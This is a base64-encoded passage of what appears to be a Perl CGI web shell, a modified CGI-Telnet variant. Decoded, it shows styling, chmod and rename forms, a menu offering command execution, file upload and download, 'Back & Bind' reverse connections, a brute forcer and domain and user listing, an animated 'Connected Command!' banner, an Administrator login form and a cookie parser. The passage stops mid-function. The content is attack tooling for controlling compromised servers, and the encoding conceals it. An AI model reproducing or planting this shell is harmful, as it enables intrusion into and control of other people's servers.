REVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQko